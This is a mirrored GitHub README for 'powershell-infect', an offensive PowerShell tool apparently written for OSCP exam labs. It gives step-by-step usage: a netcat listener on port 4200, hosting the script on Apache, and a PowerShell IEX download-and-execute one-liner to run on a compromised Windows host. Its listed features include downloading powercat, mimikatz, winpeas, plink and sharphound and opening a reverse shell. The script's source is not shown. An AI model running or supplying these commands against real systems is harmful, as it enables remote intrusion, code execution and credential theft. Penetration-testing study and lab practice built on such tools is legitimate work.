Giter Site home page Giter Site logo

jazzyoverflow / powershell-infect Goto Github PK

View Code? Open in Web Editor NEW
1.0 1.0 0.0 7 KB

A powershell script for the OSCP Exam which sets up a windows reverse shell and automates the download of some useful windows post-exploit and privilege escalation tools.

PowerShell 100.00%

powershell-infect's Introduction

powershell-infect

A powershell script for the OSCP Exam which sets up a windows reverse shell and automates the download of some useful windows post-exploit and privilege escalation tools.

Usage

  1. Change the paths in the script to reflect the locations of the binaries on your attack box

  2. setup a netcat listener at port 4200 (or change the port in the script as well as the following command)

rlwrap nc -lvnp 4200
  1. Host the script on a web server. Perhaps using
systemctl start apache2

and moving the infect.ps1 file to /var/www/html if you are on a modern kali system

  1. Upon discovery of RCE in a windows system, execute the following command, replacing your attack box's ip with , and the path of the script on your locally hosted web server
powershell -c 'IEX (New-Object System.Net.WebClient).DownloadString('http://<RHOST></some/path/infect.ps1>; infect <RHOST>'

Features

This script performs the following actions

  1. checks architecture to determine which binaries to download
  2. downloads powercat to memory
  3. downloads the following to disk in a directory called .\not-malware (full path determined by the location of the RCE):
    • winpeas
    • mimikatz
    • plink
    • sharphound
  4. sends a powercat reverse shell to a local listener at port 4200

powershell-infect's People

Contributors

kh0rvus avatar

Stargazers

 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.